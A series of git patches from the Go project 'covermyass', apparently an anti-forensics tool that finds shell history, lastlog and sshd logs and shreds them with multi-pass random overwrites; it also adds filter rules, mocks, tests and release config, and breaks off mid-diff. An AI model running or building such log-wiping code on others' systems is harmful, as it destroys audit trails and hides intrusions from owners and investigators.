@@ github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0 h1:1zr/of2m5FGMsad5YfcqgdqdWrIhu+EBEJRhR1U7z/c= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0 h1:pSgiaMZlXftHpm5L7V1+rVB+AZJydKsMxsQBIJw4PKk= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= +github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8 h1:0A+M6Uqn+Eje4kHMK80dtF3JCXC4ykBgQG4Fe06QRhQ= golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go index 22a30af..2d4c9ea 100644 --- a/lib/analysis/analyzer.go +++ b/lib/analysis/analyzer.go @@ -31,15 +31,16 @@ func (a *Analyzer) Analyze() (*Analysis, error) { for _, c := range check.GetAllChecks() { wg.Add(1) go func(c check.Check) { - finder := find.New(os.DirFS(""), a.filter, c.Paths()) - if err := finder.Run(context.TODO()); err != nil { + finder := find.New(os.DirFS(""), a.filter) + results, err := finder.Run(context.TODO(), c.Paths()) + if err != nil { logrus.Error(err) return } m.Lock() defer m.Unlock() - for _, info := range finder.Results() { + for _, info := range results { analysis.AddResult(Result{ Check: c, Path: info.Path(), diff --git a/lib/check/services.go b/lib/check/checks.go similarity index 100% rename from lib/check/services.go rename to lib/check/checks.go diff --git a/lib/find/finder.go b/lib/find/finder.go index 5a0f89b..1ac6c71 100644 --- a/lib/find/finder.go +++ b/lib/find/finder.go @@ -13,38 +13,32 @@ import ( ) type Finder interface { - Run(context.Context) error - Results() []FileInfo + Run(context.Context, []string) ([]FileInfo, error) } type finder struct { - fs fs.FS - filter filter.Filter - paths []string - results []FileInfo + fs fs.FS + filter filter.Filter } -func New(fsys fs.FS, filterEngine filter.Filter, paths []string) Finder { +func New(fsys fs.FS, filterEngine filter.Filter) Finder { return &finder{ - fs: fsys, - filter: filterEngine, - paths: paths, - results: make([]FileInfo, 0), + fs: fsys, + filter: filterEngine, } } -func (f *finder) Run(ctx context.Context) error { - // Voluntary reset the results slice - f.results = make([]FileInfo, 0) +func (f *finder) Run(ctx context.Context, paths []string) ([]FileInfo, error) { + results := make([]FileInfo, 0) - for _, pattern := range f.paths { + for _, pattern := range paths { if len(pattern) == 0 { logrus.Warn("pattern skipped because it has length of 0") continue } if !doublestar.ValidatePathPattern(pattern) { - return fmt.Errorf("pattern %s is not valid", pattern) + return results, fmt.Errorf("pattern %s is not valid", pattern) } var formattedPattern string @@ -58,7 +52,7 @@ func (f *finder) Run(ctx context.Context) error { if err != nil { return err } - f.results = append(f.results, &fileInfo{ + results = append(results, &fileInfo{ FileInfo: info, path: fmt.Sprintf("%s%s", string(os.PathSeparator), filepath.FromSlash(path)), }) @@ -68,19 +62,17 @@ func (f *finder) Run(ctx context.Context) error { logrus.WithField("pattern", filepath.ToSlash(formattedPattern)).Error(err) } } - return nil + return f.removeDuplicates(results), nil } -func (f *finder) Results() []FileInfo { - // Remove duplicates +func (f *finder) removeDuplicates(results []FileInfo) []FileInfo { resultsMap := make(map[string]FileInfo, 0) - for _, res := range f.results { + for _, res := range results { resultsMap[res.Path()] = res } resultsSlice := make([]FileInfo, 0) for _, file := range resultsMap { resultsSlice = append(resultsSlice, file) } - return resultsSlice } diff --git a/lib/shred/shred.go b/lib/shred/shred.go new file mode 100644 index 0000000..31df255 --- /dev/null +++ b/lib/shred/shred.go @@ -0,0 +1,113 @@ +package shred + +import ( + "crypto/rand" + "fmt" + "io/fs" + "os" + "time" +) + +// A FileInfo describes a file and is returned by Stat. +type FileInfo interface { + Name() string // base name of the file + Size() int64 // length in bytes for regular files; system-dependent for others + Mode() fs.FileMode // file mode bits + ModTime() time.Time // modification time + IsDir() bool // abbreviation for Mode().IsDir() + Sys() any // underlying data source (can return nil) +} + +type File interface { + Seek(int64, int) (int64, error) + Sync() error + Write([]byte) (int, error) + Close() error +} + +type ShredderOptions struct { + Zero bool + Iterations int + Unlink bool +} + +type Shredder struct { + options *ShredderOptions +} + +func New(opts *ShredderOptions) *Shredder { + return &Shredder{opts} +} + +func (s *Shredder) Write(pathName string) error { + // Stat the file for the file length + fstat, err := os.Stat(pathName) + if err != nil { + return fmt.Errorf("shredding failed: %w", err) + } + + // Open the file + file, err := os.OpenFile(pathName, os.O_WRONLY, 0777) + if err != nil { + return fmt.Errorf("shredding failed: %w", err) + } + + err = s.shred(fstat, file) + if err != nil { + return fmt.Errorf("shredding failed: %w", err) + } + + return nil +} + +func (s *Shredder) shred(fstat FileInfo, file File) error { + defer file.Close() + fSize := fstat.Size() + + // Avoid shredding if the file is already empty + if fSize == 0 { + return nil + } + + // Write random bytes over the file 3 times + junkBuf := make([]byte, 1024) + for i := 0; i < s.options.Iterations; i++ { + _, err := file.Seek(0, 0) + if err != nil { + return err + } + for fSize = fstat.Size(); fSize > 1024; fSize -= 1024 { + // Load a buffer with random data + _, err = rand.Read(junkBuf) + if err != nil { + return err + } + // Write random bytes to file + _, err = file.Write(junkBuf) + if err != nil { + return err + } + } + _, err = rand.Read(junkBuf[:fSize]) + if err != nil { + return err + } + _, err = file.Write(junkBuf[:fSize]) + if err != nil { + return err + } + err = file.Sync() + if err != nil { + return err + } + } + + if s.options.Zero { + _, err := file.Write([]byte{}) + if err != nil { + return err + } + } + + return nil +} diff --git a/lib/shred/shred_test.go b/lib/shred/shred_test.go new file mode 100644 index 0000000..acef222 --- /dev/null +++ b/lib/shred/shred_test.go @@ -0,0 +1,159 @@ +package shred + +import ( + "errors" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/mock" + "github.com/sundowndev/covermyass/v2/mocks" + "testing" +) + +func TestShredder_Write(t *testing.T) { + cases := []struct { + name string + options ShredderOptions + input string + wantError error + }{ + { + name: "test with non-existing file", + input: "testdata/fake.log", + wantError: errors.New("shredding failed: stat testdata/fake.log: no such file or directory"), + }, + { + name: "test with protected file", + input: "testdata/protected.log", + wantError: errors.New("shredding failed: open testdata/protected.log: permission denied"), + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + s := New(&tt.options) + + err := s.Write(tt.input) + if tt.wantError == nil { + assert.NoError(t, err) + } else { + assert.EqualError(t, err, tt.wantError.Error()) + } + }) + } +} + +func TestShredder_shred(t *testing.T) { + cases := []struct { + name string + options ShredderOptions + mocks func(*mocks.FileInfo, *mocks.File) + wantError error + }{ + { + name: "test writing empty file", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + Unlink: false, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(0)).Times(1) + fakeFile.On("Close").Return(nil).Times(1) + }, + }, + { + name: "test writing a 64 bytes file", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + Unlink: false, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(64)).Times(4) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(3) + fakeFile.On("Close").Return(nil).Times(1) + fakeFile.On("Sync").Return(nil).Times(3) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, nil) + }, + }, + { + name: "test writing a 2Mb file with 10 iterations", + options: ShredderOptions{ + Zero: false, + Iterations: 10, + Unlink: false, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(2000000)).Times(11) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(10) + fakeFile.On("Close").Return(nil).Times(1) + fakeFile.On("Sync").Return(nil).Times(10) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, nil) + }, + }, + { + name: "test writing a 2Kb file with error", + options: ShredderOptions{ + Zero: false, + Iterations: 3, + Unlink: false, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(2000)).Times(2) + + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(1) + fakeFile.On("Close").Return(nil).Times(1) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) != 0 + })).Return(0, errors.New("dummy error")) + }, + wantError: errors.New("dummy error"), + }, + { + name: "test writing a 2Kb file with zero option", + options: ShredderOptions{ + Zero: true, + Iterations: 5, + Unlink: false, + }, + mocks: func(fakeFileInfo *mocks.FileInfo, fakeFile *mocks.File) { + fakeFileInfo.On("Size").Return(int64(2000)).Times(6) + + fakeFile.On("Close").Return(nil).Times(1) + fakeFile.On("Seek", int64(0), 0).Return(int64(0), nil).Times(5) + fakeFile.On("Sync").Return(nil).Times(5) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) > 0 + })).Return(0, nil) + fakeFile.On("Write", mock.MatchedBy(func(b []byte) bool { + return len(b) == 0 + })).Return(0, nil).Once() + }, + }, + } + + for _, tt := range cases { + t.Run(tt.name, func(t *testing.T) { + s := New(&tt.options) + + fakeFileInfo := &mocks.FileInfo{} + fakeFile := &mocks.File{} + tt.mocks(fakeFileInfo, fakeFile) + + err := s.shred(fakeFileInfo, fakeFile) + if tt.wantError == nil { + assert.NoError(t, err) + } else { + assert.EqualError(t, err, tt.wantError.Error()) + } + + fakeFileInfo.AssertExpectations(t) + fakeFile.AssertExpectations(t) + }) + } +} diff --git a/lib/shred/testdata/protected.log b/lib/shred/testdata/protected.log new file mode 100644 index 0000000..e69de29 diff --git a/mocks/File.go b/mocks/File.go new file mode 100644 index 0000000..9a61657 --- /dev/null +++ b/mocks/File.go @@ -0,0 +1,95 @@ +// Code generated by mockery v2.14.0. DO NOT EDIT. + +package mocks + +import mock "github.com/stretchr/testify/mock" + +// File is an autogenerated mock type for the File type +type File struct { + mock.Mock +} + +// Close provides a mock function with given fields: +func (_m *File) Close() error { + ret := _m.Called() + + var r0 error + if rf, ok := ret.Get(0).(func() error); ok { + r0 = rf() + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Seek provides a mock function with given fields: _a0, _a1 +func (_m *File) Seek(_a0 int64, _a1 int) (int64, error) { + ret := _m.Called(_a0, _a1) + + var r0 int64 + if rf, ok := ret.Get(0).(func(int64, int) int64); ok { + r0 = rf(_a0, _a1) + } else { + r0 = ret.Get(0).(int64) + } + + var r1 error + if rf, ok := ret.Get(1).(func(int64, int) error); ok { + r1 = rf(_a0, _a1) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +// Sync provides a mock function with given fields: +func (_m *File) Sync() error { + ret := _m.Called() + + var r0 error + if rf, ok := ret.Get(0).(func() error); ok { + r0 = rf() + } else { + r0 = ret.Error(0) + } + + return r0 +} + +// Write provides a mock function with given fields: _a0 +func (_m *File) Write(_a0 []byte) (int, error) { + ret := _m.Called(_a0) + + var r0 int + if rf, ok := ret.Get(0).(func([]byte) int); ok { + r0 = rf(_a0) + } else { + r0 = ret.Get(0).(int) + } + + var r1 error + if rf, ok := ret.Get(1).(func([]byte) error); ok { + r1 = rf(_a0) + } else { + r1 = ret.Error(1) + } + + return r0, r1 +} + +type mockConstructorTestingTNewFile interface { + mock.TestingT + Cleanup(func()) +} + +// NewFile creates a new instance of File. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewFile(t mockConstructorTestingTNewFile) *File { + mock := &File{} + mock.Mock.Test(t) + + t.Cleanup(func() { mock.AssertExpectations(t) }) + + return mock +} diff --git a/mocks/FileInfo.go b/mocks/FileInfo.go new file mode 100644 index 0000000..cea3e48 --- /dev/null +++ b/mocks/FileInfo.go @@ -0,0 +1,117 @@ +// Code generated by mockery v2.14.0. DO NOT EDIT. + +package mocks + +import ( + fs "io/fs" + + mock "github.com/stretchr/testify/mock" + + time "time" +) + +// FileInfo is an autogenerated mock type for the FileInfo type +type FileInfo struct { + mock.Mock +} + +// IsDir provides a mock function with given fields: +func (_m *FileInfo) IsDir() bool { + ret := _m.Called() + + var r0 bool + if rf, ok := ret.Get(0).(func() bool); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(bool) + } + + return r0 +} + +// ModTime provides a mock function with given fields: +func (_m *FileInfo) ModTime() time.Time { + ret := _m.Called() + + var r0 time.Time + if rf, ok := ret.Get(0).(func() time.Time); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(time.Time) + } + + return r0 +} + +// Mode provides a mock function with given fields: +func (_m *FileInfo) Mode() fs.FileMode { + ret := _m.Called() + + var r0 fs.FileMode + if rf, ok := ret.Get(0).(func() fs.FileMode); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(fs.FileMode) + } + + return r0 +} + +// Name provides a mock function with given fields: +func (_m *FileInfo) Name() string { + ret := _m.Called() + + var r0 string + if rf, ok := ret.Get(0).(func() string); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(string) + } + + return r0 +} + +// Size provides a mock function with given fields: +func (_m *FileInfo) Size() int64 { + ret := _m.Called() + + var r0 int64 + if rf, ok := ret.Get(0).(func() int64); ok { + r0 = rf() + } else { + r0 = ret.Get(0).(int64) + } + + return r0 +} + +// Sys provides a mock function with given fields: +func (_m *FileInfo) Sys() interface{} { + ret := _m.Called() + + var r0 interface{} + if rf, ok := ret.Get(0).(func() interface{}); ok { + r0 = rf() + } else { + if ret.Get(0) != nil { + r0 = ret.Get(0).(interface{}) + } + } + + return r0 +} + +type mockConstructorTestingTNewFileInfo interface { + mock.TestingT + Cleanup(func()) +} + +// NewFileInfo creates a new instance of FileInfo. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations. +func NewFileInfo(t mockConstructorTestingTNewFileInfo) *FileInfo { + mock := &FileInfo{} + mock.Mock.Test(t) + + t.Cleanup(func() { mock.AssertExpectations(t) }) + + return mock +} From a3eab6ef822a8350c322681deed58c27d90263be Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 17:35:21 +0400 Subject: [PATCH 09/22] refactor: remove HandleFile method --- lib/check/bash_history_check.go | 5 ----- lib/check/checks.go | 5 ----- lib/check/lastlog_check.go | 9 --------- lib/check/sshd_check.go | 9 --------- 4 files changed, 28 deletions(-) diff --git a/lib/check/bash_history_check.go b/lib/check/bash_history_check.go index 7a3bf90..456171f 100644 --- a/lib/check/bash_history_check.go +++ b/lib/check/bash_history_check.go @@ -3,7 +3,6 @@ package check import ( "fmt" "github.com/sirupsen/logrus" - "github.com/sundowndev/covermyass/v2/lib/find" "os" ) @@ -31,10 +30,6 @@ func (s *shellHistoryCheck) Paths() []string { } } -func (s *shellHistoryCheck) HandleFile(file find.FileInfo) error { - return os.Truncate(file.Path(), 0) -} - func init() { AddCheck(NewShellHistoryCheck()) } diff --git a/lib/check/checks.go b/lib/check/checks.go index 89cc97d..113741d 100644 --- a/lib/check/checks.go +++ b/lib/check/checks.go @@ -1,9 +1,5 @@ package check -import ( - "github.com/sundowndev/covermyass/v2/lib/find" -) - const ( Linux = "linux" Darwin = "darwin" @@ -15,7 +11,6 @@ var checks []Check type Check interface { Name() string Paths() []string - HandleFile(find.FileInfo) error } func GetAllChecks() []Check { diff --git a/lib/check/lastlog_check.go b/lib/check/lastlog_check.go index e702c0f..19e2acf 100644 --- a/lib/check/lastlog_check.go +++ b/lib/check/lastlog_check.go @@ -2,11 +2,6 @@ package check -import ( - "github.com/sundowndev/covermyass/v2/lib/find" - "os" -) - type lastLogCheck struct{} func NewLastLogCheck() Check { @@ -23,10 +18,6 @@ func (s *lastLogCheck) Paths() []string { } } -func (s *lastLogCheck) HandleFile(file find.FileInfo) error { - return os.Truncate(file.Path(), 0) -} - func init() { AddCheck(NewLastLogCheck()) } diff --git a/lib/check/sshd_check.go b/lib/check/sshd_check.go index b13a758..0543b2e 100644 --- a/lib/check/sshd_check.go +++ b/lib/check/sshd_check.go @@ -2,11 +2,6 @@ package check -import ( - "github.com/sundowndev/covermyass/v2/lib/find" - "os" -) - type sshdCheck struct{} func NewSSHdCheck() Check { @@ -23,10 +18,6 @@ func (s *sshdCheck) Paths() []string { } } -func (s *sshdCheck) HandleFile(file find.FileInfo) error { - return os.Truncate(file.Path(), 0) -} - func init() { AddCheck(NewSSHdCheck()) } From ffc725e34c39a4d28a6c3eb6199a6f97c6252524 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 18:17:03 +0400 Subject: [PATCH 10/22] feat: add support for extra filter rules --- cmd/root.go | 12 ++++++-- lib/analysis/analyzer.go | 4 +++ lib/filter/filter.go | 23 +++++++++++++-- lib/filter/filter_test.go | 59 +++++++++++++++++++++++++++++++++++++++ lib/find/finder.go | 5 ++++ lib/output/printer.go | 13 +++++++++ 6 files changed, 111 insertions(+), 5 deletions(-) create mode 100644 lib/filter/filter_test.go diff --git a/cmd/root.go b/cmd/root.go index 6f956f0..f97d4bc 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -20,7 +20,7 @@ type RootCmdOptions struct { Iterations int Unlink bool //ExtraPaths []string - //FilterRules []string + FilterRules []string } func NewRootCmd() *cobra.Command { @@ -45,6 +45,11 @@ covermyass --write -z -n 5 } filterEngine := filter.NewEngine() + err := filterEngine.AddRule(opts.FilterRules...) + if err != nil { + return err + } + analyzer := analysis.NewAnalyzer(filterEngine) a, err := analyzer.Analyze() if err != nil { @@ -75,10 +80,10 @@ covermyass --write -z -n 5 WithField("path", result.Path). Debug("Shredding file") if err := s.Write(result.Path); err != nil { - return fmt.Errorf("error writing file %s: %e", result.Path, err) + return output.Errorf("error writing file %s: %e", result.Path, err) } } - fmt.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations) + output.Printf("\nShredded %d files %d times\n", len(a.Results()), opts.Iterations) } return nil @@ -91,6 +96,7 @@ covermyass --write -z -n 5 cmd.PersistentFlags().BoolVarP(&opts.Zero, "zero", "z", false, "Add a final overwrite with zeros to hide shredding") cmd.PersistentFlags().IntVarP(&opts.Iterations, "iterations", "n", 3, "Overwrite N times instead of the default") cmd.PersistentFlags().BoolVarP(&opts.Unlink, "unlink", "u", false, "Deallocate and remove file after overwriting") + cmd.PersistentFlags().StringSliceVarP(&opts.FilterRules, "filter", "f", []string{}, "File paths to ignore (supports glob patterns)") return cmd } diff --git a/lib/analysis/analyzer.go b/lib/analysis/analyzer.go index 2d4c9ea..489babe 100644 --- a/lib/analysis/analyzer.go +++ b/lib/analysis/analyzer.go @@ -41,6 +41,10 @@ func (a *Analyzer) Analyze() (*Analysis, error) { m.Lock() defer m.Unlock() for _, info := range results { + if a.filter.Match(info.Path()) { + continue + } + analysis.AddResult(Result{ Check: c, Path: info.Path(), diff --git a/lib/filter/filter.go b/lib/filter/filter.go index 99f797e..c108b5c 100644 --- a/lib/filter/filter.go +++ b/lib/filter/filter.go @@ -1,5 +1,11 @@ package filter +import ( + "fmt" + "github.com/bmatcuk/doublestar/v4" + "github.com/sirupsen/logrus" +) + type Filter interface { Match(string) bool } @@ -12,8 +18,14 @@ func NewEngine() *Engine { return &Engine{} } -func (e *Engine) AddRule(r ...string) { - e.rules = append(e.rules, r...) +func (e *Engine) AddRule(patterns ...string) error { + for _, rule := range patterns { + if !doublestar.ValidatePathPattern(rule) { + return fmt.Errorf("invalid pattern: %s", rule) + } + } + e.rules = append(e.rules, patterns...) + return nil } func (e *Engine) Match(r string) bool { @@ -21,6 +33,13 @@ func (e *Engine) Match(r string) bool { if rule == r { return true } + ok, err := doublestar.PathMatch(rule, r) + if err != nil { + logrus.WithField("rule", rule).WithField("target", r).Error(err) + } + if ok { + return true + } } return false } diff --git a/lib/filter/filter_test.go b/lib/filter/filter_test.go new file mode 100644 index 0000000..fa8906b --- /dev/null +++ b/lib/filter/filter_test.go @@ -0,0 +1,59 @@ +package filter + +import ( + "github.com/stretchr/testify/assert" + "testing" +) + +func TestFilter(t *testing.T) { + testcases := []struct { + name string + rules []string + paths map[string]bool + }{ + { + name: "test with simple patterns", + rules: []string{ + "/var/*", + "/foo/**/*", + "/bar/foo/1.log", + }, + paths: map[string]bool{ + "/var/log/lastlog": false, + "/var/test.log": true, + "/var/fakefile": true, + "/db/logfile.log": false, + "/foo/bar/1/logfile.log": true, + "/bar/foo/1.log": true, + "/var/**/*.log": false, + }, + }, + { + name: "test patterns against patterns", + rules: []string{ + "/var/*", + "/var/*/foo/**/*", + "/foo/**/*", + "/bar/foo/1.log", + }, + paths: map[string]bool{ + "/var/*.log": true, + "/var/**/*": false, + "/foo/*.log": true, + "/bar/foo/**/*.log": false, + }, + }, + } + + for _, tt := range testcases { + t.Run(tt.name, func(t *testing.T) { + f := NewEngine() + err := f.AddRule(tt.rules...) + assert.NoError(t, err) + + for path, shouldMatch := range tt.paths { + assert.Equal(t, shouldMatch, f.Match(path)) + } + }) + } +} diff --git a/lib/find/finder.go b/lib/find/finder.go index 1ac6c71..a31155c 100644 --- a/lib/find/finder.go +++ b/lib/find/finder.go @@ -41,6 +41,11 @@ func (f *finder) Run(ctx context.Context, paths []string) ([]FileInfo, error) { return results, fmt.Errorf("pattern %s is not valid", pattern) } + if f.filter.Match(pattern) { + logrus.WithField("pattern", pattern).Debug("pattern ignored by filter") + continue + } + var formattedPattern string if strings.Split(pattern, "")[0] == string(os.PathSeparator) { formattedPattern = strings.Join(strings.Split(pattern, "")[1:], "") diff --git a/lib/output/printer.go b/lib/output/printer.go index 28042eb..4dd50d5 100644 --- a/lib/output/printer.go +++ b/lib/output/printer.go @@ -8,6 +8,7 @@ import ( type Printer interface { Printf(string, ...interface{}) Println(string) + Errorf(string, ...interface{}) error } var globalPrinter Printer = &VoidPrinter{} @@ -24,6 +25,10 @@ func Println(format string) { globalPrinter.Printf(format) } +func Errorf(format string, args ...interface{}) error { + return globalPrinter.Errorf(format, args...) +} + type ConsolePrinter struct{} func NewConsolePrinter() Printer { @@ -38,8 +43,16 @@ func (c *ConsolePrinter) Println(format string) { _, _ = fmt.Fprintln(os.Stdout, format) } +func (c *ConsolePrinter) Errorf(format string, args ...interface{}) error { + return fmt.Errorf(format, args...) +} + type VoidPrinter struct{} func (v *VoidPrinter) Printf(_ string, _ ...interface{}) {} func (v *VoidPrinter) Println(_ string) {} + +func (v *VoidPrinter) Errorf(format string, args ...interface{}) error { + return fmt.Errorf(format, args...) +} From 70bb6ade88807356709a5f43e73fd87b2b48918c Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 18:30:28 +0400 Subject: [PATCH 11/22] ci: trigger job on any pull request --- .github/workflows/build.yml | 2 -- 1 file changed, 2 deletions(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index f23ed94..f6760e0 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -5,8 +5,6 @@ on: branches: - master pull_request: - branches: - - master jobs: build: From a67d06446fa16ffaa06c8039ed060e482a880323 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 18:35:06 +0400 Subject: [PATCH 12/22] test: shred pkg --- lib/shred/shred.go | 2 +- lib/shred/shred_test.go | 6 +++--- lib/shred/testdata/empty.log | 0 3 files changed, 4 insertions(+), 4 deletions(-) create mode 100644 lib/shred/testdata/empty.log diff --git a/lib/shred/shred.go b/lib/shred/shred.go index 31df255..6d8f5e7 100644 --- a/lib/shred/shred.go +++ b/lib/shred/shred.go @@ -47,7 +47,7 @@ func (s *Shredder) Write(pathName string) error { } // Open the file - file, err := os.OpenFile(pathName, os.O_WRONLY, 0777) + file, err := os.OpenFile(pathName, os.O_WRONLY, fstat.Mode()) if err != nil { return fmt.Errorf("shredding failed: %w", err) } diff --git a/lib/shred/shred_test.go b/lib/shred/shred_test.go index acef222..85f9977 100644 --- a/lib/shred/shred_test.go +++ b/lib/shred/shred_test.go @@ -21,9 +21,9 @@ func TestShredder_Write(t *testing.T) { wantError: errors.New("shredding failed: stat testdata/fake.log: no such file or directory"), }, { - name: "test with protected file", - input: "testdata/protected.log", - wantError: errors.New("shredding failed: open testdata/protected.log: permission denied"), + name: "test with non-file path", + input: "testdata/", + wantError: errors.New("shredding failed: open testdata/: is a directory"), }, } diff --git a/lib/shred/testdata/empty.log b/lib/shred/testdata/empty.log new file mode 100644 index 0000000..e69de29 From 49abd366f51e5e8692001945a94aef435a027910 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Thu, 17 Nov 2022 18:57:38 +0400 Subject: [PATCH 13/22] chore: add goreleaser workflow --- .github/workflows/release.yml | 29 +++++++++++++++++++++++++++ .goreleaser.yml | 37 +++++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 .github/workflows/release.yml create mode 100644 .goreleaser.yml diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..4661a02 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,29 @@ +name: release + +on: + push: + tags: + - '*' + +jobs: + goreleaser: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v3.0.0 + + - name: Unshallow + run: git fetch --prune --unshallow + + - name: Set up Go + uses: actions/setup-go@v3.2.0 + with: + go-version: 1.17.8 + + - name: Run GoReleaser + uses: goreleaser/goreleaser-action@v3.0.0 + with: + version: v1.12.3 + args: release --rm-dist + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} \ No newline at end of file diff --git a/.goreleaser.yml b/.goreleaser.yml new file mode 100644 index 0000000..b87c835 --- /dev/null +++ b/.goreleaser.yml @@ -0,0 +1,37 @@ +project_name: covermyass +dist: bin +release: + github: + owner: sundowndev + name: covermyass + draft: false + prerelease: auto +before: + hooks: + - go generate ./... +builds: + - id: "covermyass" + binary: covermyass + dir: . + env: + - CGO_ENABLED=0 + goos: + - linux + - darwin + #- windows + goarch: + - amd64 + - arm + - arm64 + - 386 + ldflags: "-s -w -X github.com/sundowndev/covermyass/build.version={{.Version}} -X github.com/sundowndev/covermyass/pkg/version.commit={{.ShortCommit}}" +archives: + - name_template: '{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}' + format: binary + replacements: + armv6: arm +checksum: + name_template: '{{ .ProjectName }}_SHA256SUMS' + algorithm: sha256 +snapshot: + name_template: "{{ .Tag }}-next" \ No newline at end of file From 2222b382ceb418b9c7daba9c6f36a31f7bb5b59c Mon Sep 17 00:00:00 2001 From: sundowndev Date: Sun, 20 Nov 2022 16:58:32 +0400 Subject: [PATCH 14/22] ci: fix go version in release workflow --- .github/workflows/release.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 4661a02..202e2f9 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -18,7 +18,7 @@ jobs: - name: Set up Go uses: actions/setup-go@v3.2.0 with: - go-version: 1.17.8 + go-version: 1.18.4 - name: Run GoReleaser uses: goreleaser/goreleaser-action@v3.0.0 From 6c77377935b6be69e0d33efdcdee7ce66430a090 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Sun, 20 Nov 2022 17:51:09 +0400 Subject: [PATCH 15/22] chore: fix ldflags in goreleaser config --- .goreleaser.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.goreleaser.yml b/.goreleaser.yml index b87c835..754d631 100644 --- a/.goreleaser.yml +++ b/.goreleaser.yml @@ -24,7 +24,7 @@ builds: - arm - arm64 - 386 - ldflags: "-s -w -X github.com/sundowndev/covermyass/build.version={{.Version}} -X github.com/sundowndev/covermyass/pkg/version.commit={{.ShortCommit}}" + ldflags: "-s -w -X github.com/sundowndev/covermyass/v2/build.version={{.Version}} -X github.com/sundowndev/covermyass/v2/build.commit={{.ShortCommit}}" archives: - name_template: '{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}' format: binary From 716fc1a396746f063d8d219121473ff69a6fa8e3 Mon Sep 17 00:00:00 2001 From: sundowndev Date: Sun, 20 Nov 2022 17:51:39 +0400 Subject: [PATCH 16/22] fix: zero option --- lib/shred/shred.go | 19 +++++++------- lib/shred/shred_test.go | 29 ++-------------------- lib/shred/testdata/{empty.log => .gitkeep} | 0 lib/shred/testdata/protected.log | 0 4 files changed, 11 insertions(+), 37 deletions(-) rename lib/shred/testdata/{empty.log => .gitkeep} (100%) delete mode 100644 lib/shred/testdata/protected.log diff --git a/lib/shred/shred.go 